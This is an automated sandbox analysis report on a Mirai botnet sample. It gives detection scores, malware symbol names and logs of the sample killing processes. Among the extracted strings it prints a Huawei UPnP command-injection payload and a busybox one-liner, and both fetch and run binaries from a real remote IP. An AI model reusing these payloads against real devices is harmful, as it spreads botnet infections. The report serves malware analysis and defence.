Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Linux Analysis Report UnHAnaAW.arm7

Overview

General Information

Sample Name:UnHAnaAW.arm7
Analysis ID:553498
MD5:5a6f9f201e4ca6a7fdac10e632cb58b8
SHA1:930ce61517445d3401fa17e960c960772abd5b1b
SHA256:306a86a5f20c305839fc374206ddc20bc38c88531d602782351871b0826dec1b
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Contains symbols with names commonly found in malware
Sample tries to kill multiple processes (SIGKILL)
Sample contains symbols with suspicious names
Yara detected Mirai
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures
Static ELF header machine description suggests that the sample might not execute correctly on this machine

General Information

Joe Sandbox Version:34.0.0 Boulder Opal
Analysis ID:553498
Start date:15.01.2022
Start time:02:58:59
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 6m 18s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:UnHAnaAW.arm7
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal64.spre.troj.linARM7@0/0@0/0

Process Tree

  • system is lnxubuntu20
  • cleanup

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
UnHAnaAW.arm7JoeSecurity_Mirai_8Yara detected MiraiJoe Security
    UnHAnaAW.arm7JoeSecurity_Mirai_2Yara detected MiraiJoe Security

      Jbx Signature Overview

      Click to jump to signature section

      Show All Signature Results

      AV Detection:

      barindex
      Multi AV Scanner detection for submitted fileShow sources
      Source: UnHAnaAW.arm7Virustotal: Detection: 54%Perma Link
      Source: UnHAnaAW.arm7ReversingLabs: Detection: 55%
      Source: /tmp/UnHAnaAW.arm7 (PID: 5214)Socket: 127.0.0.1::23455Jump to behavior
      Source: UnHAnaAW.arm7String found in binary or memory: http://95.181.161.119/bins/x86
      Source: UnHAnaAW.arm7String found in binary or memory: http://95.181.161.119/zyxel.sh;
      Source: UnHAnaAW.arm7String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: UnHAnaAW.arm7String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

      System Summary:

      barindex
      Contains symbols with names commonly found in malwareShow sources
      Source: ELF static info symbol of initial sampleName: attack.c
      Source: ELF static info symbol of initial sampleName: attack_get_opt_int
      Source: ELF static info symbol of initial sampleName: attack_get_opt_ip
      Source: ELF static info symbol of initial sampleName: attack_get_opt_str
      Source: ELF static info symbol of initial sampleName: attack_init
      Source: ELF static info symbol of initial sampleName: attack_method.c
      Source: ELF static info symbol of initial sampleName: attack_method_asyn
      Source: ELF static info symbol of initial sampleName: attack_method_game
      Source: ELF static info symbol of initial sampleName: attack_method_greeth
      Source: ELF static info symbol of initial sampleName: attack_method_greip
      Sample tries to kill multiple processes (SIGKILL)Show sources
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 720, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 759, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 788, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 800, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 847, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 884, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 936, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 1334, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 1335, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 1872, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2096, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2097, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2102, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2180, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2208, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2275, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2281, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2285, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2289, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2294, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 5219, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 720, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 759, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 788, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 800, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 847, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 884, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 936, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 1334, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 1335, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 1860, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 1872, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5216, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5222, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5224, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5225, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5231, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5263)SIGKILL sent: pid: 5261, result: successfulJump to behavior
      Source: ELF static info symbol of initial sampleName: huawei_scanner_pid
      Source: ELF static info symbol of initial sampleName: huawei_scanner_rawpkt
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 720, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 759, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 788, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 800, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 847, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 884, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 936, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 1334, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 1335, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 1872, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2096, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2097, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2102, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2180, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2208, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2275, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2281, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2285, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2289, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 2294, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5216)SIGKILL sent: pid: 5219, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 720, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 759, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 788, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 800, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 847, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 884, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 936, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 1334, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 1335, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 1860, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 1872, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5216, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5222, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5224, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5225, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)SIGKILL sent: pid: 5231, result: successfulJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5263)SIGKILL sent: pid: 5261, result: successfulJump to behavior
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 95.181.161.119 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://95.181.161.119/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
      Source: classification engineClassification label: mal64.spre.troj.linARM7@0/0@0/0
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5140/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/4452/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5146/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1582/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2033/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2275/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/3088/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1612/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1579/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1699/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1335/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1698/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2028/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1334/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1576/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2302/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/3236/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2025/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2146/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/910/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/912/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/517/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/759/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2307/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/918/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5152/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/4460/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/4461/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5037/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1594/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2285/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2281/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1349/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1623/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/761/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1622/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/884/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1983/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2038/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1344/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1465/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1586/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1860/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1463/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2156/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/800/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/801/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1629/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/4458/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/4459/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1627/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1900/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/3021/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/491/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2294/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2050/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1877/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/772/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1633/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1599/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1632/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/774/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1477/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/654/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/896/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1476/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1872/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2048/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/655/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1475/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2289/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/656/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/777/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/657/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/658/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/419/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/936/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1639/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1638/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2208/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2180/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5175/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/4483/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5179/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1809/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1494/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1890/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2063/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2062/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1888/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1886/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/420/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1489/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/785/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1642/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/788/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/667/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/789/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/1648/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5222/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5223/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/5224/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2078/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2077/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5226)File opened: /proc/2074/exeJump to behavior
      Source: /tmp/UnHAnaAW.arm7 (PID: 5214)Queries kernel information via 'uname': Jump to behavior
      Source: UnHAnaAW.arm7, 5216.1.00000000c273f54a.0000000057dcbb2e.rw-.sdmpBinary or memory string: !/usr/bin/qemu-arm!/proc/4458/exe1
      Source: UnHAnaAW.arm7, 5214.1.00000000bfe40037.00000000e0c80d59.rw-.sdmp, UnHAnaAW.arm7, 5216.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5217.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5219.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5222.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5224.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5225.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5230.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5231.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5261.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5263.1.00000000bfe40037.00000000c273f54a.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
      Source: UnHAnaAW.arm7, 5216.1.00000000c273f54a.0000000057dcbb2e.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
      Source: UnHAnaAW.arm7, 5216.1.00000000c273f54a.0000000057dcbb2e.rw-.sdmpBinary or memory string: -1c/qemu-binfmt/arm/usrQ`
      Source: UnHAnaAW.arm7, 5216.1.00000000c273f54a.0000000057dcbb2e.rw-.sdmpBinary or memory string: !/proc/799/exe0!/usr/bin/vmtoolsd!/proc/1349/exe/arm/pro1
      Source: UnHAnaAW.arm7, 5214.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5216.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5217.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5219.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5222.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5224.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5225.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5230.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5231.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5261.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5263.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/UnHAnaAW.arm7SUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/UnHAnaAW.arm7
      Source: UnHAnaAW.arm7, 5216.1.00000000c273f54a.0000000057dcbb2e.rw-.sdmpBinary or memory string: c/qemu-binfmt/arm/usrQ
      Source: UnHAnaAW.arm7, 5214.1.00000000bfe40037.00000000e0c80d59.rw-.sdmp, UnHAnaAW.arm7, 5216.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5217.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5219.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5222.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5224.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5225.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5230.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5231.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5261.1.00000000bfe40037.00000000c273f54a.rw-.sdmp, UnHAnaAW.arm7, 5263.1.00000000bfe40037.00000000c273f54a.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: UnHAnaAW.arm7, 5214.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5216.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5216.1.00000000c273f54a.0000000057dcbb2e.rw-.sdmp, UnHAnaAW.arm7, 5217.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5219.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5222.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5224.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5225.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5230.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5231.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5261.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmp, UnHAnaAW.arm7, 5263.1.00000000777cfd6e.00000000cab1d9f4.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm

      Stealing of Sensitive Information:

      barindex
      Source: Yara matchFile source: UnHAnaAW.arm7, type: SAMPLE

      Remote Access Functionality:

      barindex
      Source: Yara matchFile source: UnHAnaAW.arm7, type: SAMPLE

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
